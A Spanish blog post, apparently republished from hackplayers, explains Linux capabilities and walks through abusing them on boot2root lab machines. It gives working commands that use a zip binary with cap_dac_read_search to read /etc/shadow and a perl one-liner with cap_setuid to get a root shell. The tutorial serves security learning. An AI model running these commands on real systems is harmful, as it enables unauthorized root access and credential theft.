Abusando de las capabilities para escalar privilegios en Linux hackplayers

Tabla de contenido

En Linux un proceso ejecutándose con privilegios de superusuario o un ejecutable con el bit suid otorga muchas veces permisos demasiado altos durante la ejecución del programa. Es como un «todo o nada» y por lo tanto uno de los principales objetivos que intentará explotar cualquier hacker un poco avispado. 

Para paliar ésto simplemente se dividieron todas las posibles llamadas de kernel privilegiadas en grupos de funcionalidades relacionadas, las llamadas capabilities, que pueden asignarse a un ejecutable. De esa manera, cualquier posible problema de seguridad en un programa minimizará el impacto porque el atacante obtendrá sólo el subconjunto asignado de capacidades, no el acceso a todo el sistema.

No obstante y como podéis imaginar, también podemos abusar de las capabilities. De hecho en algunos ejercicios nos podremos encontrar un escenario similar al siguiente, que nos permitirá escalar privilegios en máquinas boot2root.

Lo primero que haremos es buscar de forma recursiva archivos con capabilities:

$ getcap -r / 2>/dev/null

/home/john/zip = cap_dac_read_search+ep
/home/peter/perl = cap_setuid+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
/usr/bin/mtr-packet = cap_net_raw+ep

+ep significa que la capability es efectiva y permitida. 

Llama la atención es el binario zip que tiene la capacidad o capability cap_dac_read_search. Si leemos el man page, podemos ver que esto permite que zip omita las comprobaciones de permisos de lectura, lo que significa que podemos leer cualquier archivo en el sistema de archivos.

Es decir, podemos por ejemplo leer /etc/shadow para intentar crackear hashes o intentar obtener las claves privadas ssh de los usuarios.

El proceso es sencillo:
– comprimimos el archivo o carpeta que deseamos leer: /path/to/zip /tmp/shadow.zip /etc/shadow   
– lo descomprimimos: unzip /tmp/shadow.zip -d /tmp
– y ya podemos leer el archivo: cat /tmp/etc/shadow
 
Una vez obtenido las credenciales/entrado como el usuario peter podemos acceder y usar otro ejecutable con capabilities: perl, que nos permite cambiar el UID (cap_setuid). Así que simplemente ejecutamos:

$ /home/peter/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";' 

y ya somos root!

Fuente obtenida de: https://www.hackplayers.com/2021/06/abusando-de-las-capabilities-privesc.html

INFORMACION DEL PUBLICADOR
Picture of Kamal Majaiti
Kamal Majaiti
Administrador de sistemas e informático por vocación.
COMPARTELO EN REDES
Publica un comentario

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.